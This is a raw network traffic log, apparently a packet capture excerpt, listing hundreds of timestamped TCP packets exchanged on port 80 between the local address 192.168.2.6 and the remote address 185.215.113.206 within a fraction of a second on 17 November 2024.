Nov 17, 2024 10:07:40.286055088 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.286068916 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.286091089 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.286103010 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.286118984 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.286137104 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.286155939 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.286170959 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.286180019 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.286206961 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.286221027 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.286241055 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.286278009 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.286297083 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.286320925 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.286328077 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.286362886 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.286412954 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.286431074 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.286458969 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.286465883 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.286499977 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.286514997 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.286535025 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.286545038 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.286581993 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.286586046 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.286639929 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.286690950 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.286695957 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.286751986 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.286755085 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.286801100 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.286804914 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.286840916 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.286870003 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.286889076 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.286892891 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.286947012 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.286979914 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.286998034 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.287031889 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.287041903 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.287084103 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.287117958 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.287142992 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.287152052 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.287185907 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.287194967 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.287218094 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.287236929 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.287251949 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.287290096 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.287342072 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.287347078 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.287389040 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.287400007 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.287429094 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.287445068 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.287466049 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.287470102 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.287501097 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.287513971 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.287535906 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.287539005 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.287570000 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.287600040 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.287611961 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.287611961 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.287641048 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.287652969 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.287704945 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.287749052 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.287755013 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.287812948 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.287818909 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.287842035 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.287859917 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.287894964 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.287921906 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.287935972 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.287947893 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.287985086 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.287991047 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.288029909 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.288037062 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288089037 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288121939 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288131952 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.288161039 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.288176060 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288204908 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288249016 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.288249016 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.288254023 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288300037 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.288306952 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288350105 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.288428068 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288480043 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288513899 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288522959 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.288547993 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288582087 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288594007 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.288613081 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288624048 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.288625002 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288640976 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288655996 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288660049 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.288674116 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288690090 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288697004 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.288697004 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.288706064 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288712978 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.288717031 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288729906 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288734913 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.288742065 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288743019 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.288754940 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288764000 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.288767099 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288790941 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288803101 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288809061 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.288813114 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288827896 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288841963 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288858891 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288858891 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.288858891 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.288871050 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288882017 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288885117 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.288893938 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288906097 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288912058 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.288919926 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288929939 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288940907 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288940907 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.288953066 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288961887 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.288964987 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288979053 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288984060 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.288990974 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.288999081 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289001942 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289016962 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289026976 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289031029 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289038897 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289052010 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289062977 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289063931 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289077044 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289086103 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289088011 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289103985 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289113045 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289113998 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289127111 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289138079 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289144993 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289150953 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289163113 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289164066 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289181948 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289186001 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289195061 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289201975 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289208889 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289223909 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289232969 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289236069 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289248943 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289261103 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289262056 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289273024 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289279938 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289283991 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289297104 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289300919 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289309978 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289320946 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289326906 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289331913 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289340019 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289352894 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289361954 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289365053 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289376020 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289385080 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289388895 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289402962 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289412975 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289424896 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289433956 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289437056 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289441109 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289449930 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289462090 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289464951 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289473057 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289486885 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289488077 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289499044 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289503098 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289513111 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289525986 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289532900 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289537907 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289550066 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289561033 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289563894 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289572954 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289587021 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289587021 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289594889 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289606094 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289607048 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289619923 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289629936 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289638996 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289642096 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289655924 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289668083 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289669991 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289680958 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289691925 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289694071 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289705038 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289716005 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289727926 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289747000 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289747953 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289747953 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289758921 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289768934 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289782047 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289789915 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289793968 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289807081 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289808989 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289819002 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289829016 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289834023 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289846897 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289859056 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289859056 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289871931 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289884090 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289889097 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289896965 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289910078 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289918900 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289923906 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289937019 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289938927 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289948940 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289966106 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.289971113 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.289990902 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290003061 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290014029 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290025949 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290049076 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.290049076 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.290049076 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.290072918 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.290105104 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.290172100 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290184975 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290196896 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290210962 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290221930 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290227890 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.290246964 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290267944 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290267944 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.290268898 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.290287971 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290294886 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.290299892 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290312052 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290318966 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.290326118 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290338039 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.290348053 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290359974 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290369034 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.290370941 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290378094 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.290391922 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290405035 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290411949 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.290429115 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290436983 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.290441990 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290453911 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290463924 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.290467024 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290477991 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290488958 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290491104 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.290508032 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290508986 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.290523052 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290534973 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290534973 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.290548086 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290559053 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290563107 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.290572882 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290574074 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.290585041 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290601969 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290604115 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.290616035 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290628910 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290631056 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.290640116 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290641069 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.290659904 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290672064 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.290674925 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290689945 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290699959 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.290703058 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290716887 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290719032 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.290729046 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290743113 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290744066 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.290756941 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.290770054 CET	80	49892	185.215.113.206	192.168.2.6
